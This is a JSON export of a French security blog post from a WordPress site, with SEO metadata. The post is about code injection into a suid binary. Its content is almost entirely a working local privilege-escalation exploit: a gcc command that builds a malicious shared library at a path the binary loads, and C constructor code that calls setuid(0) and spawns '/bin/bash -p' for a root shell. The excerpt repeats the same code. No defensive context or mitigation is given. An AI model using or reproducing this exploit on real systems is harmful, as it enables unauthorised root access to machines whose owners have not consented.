{"id":587,"date":"2021-07-20T17:27:19","date_gmt":"2021-07-20T22:27:19","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=587"},"modified":"2022-04-27T07:51:52","modified_gmt":"2022-04-27T12:51:52","slug":"injection-de-code-lors-de-lexecution-dun-binaire-suid","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/","title":{"rendered":"Injection de code lors de l&#8217;ex\u00e9cution d&#8217;un binaire suid"},"content":{"rendered":"<p><strong>suid injection<\/strong><\/p>\n<p><pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\ntoinject.c\ngcc -shared -fPIC -o \/home\/user\/.config\/libcalc.so toinject.c #par exemple, en utilisant strace, on se rend compte que le binaire essaie de charger \/home\/user\/.config\/libcalc.so\n\ntoinject.c\nstatic void inject() __attribute__((constructor));\n\nvoid inject() {\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setuid(0);\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;\/bin\/bash -p&quot;);\n}<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"<p>suid injection #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; toinject.c gcc -shared -fPIC -o \/home\/user\/.config\/libcalc.so toinject.c #par exemple, en utilisant strace, on se rend compte que le binaire essaie de charger \/home\/user\/.config\/libcalc.so toinject.c static void inject() __attribute__((constructor)); void inject() { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setuid(0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;\/bin\/bash -p&quot;); }<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,18],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Injection de code lors de l&#039;ex\u00e9cution d&#039;un binaire suid - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/injection-de-code-lors-de-lexecution-dun-binaire-suid\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Injection de code lors de l&#039;ex\u00e9cution d&#039;un binaire suid - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"suid injection #include &lt;stdio.h&gt; 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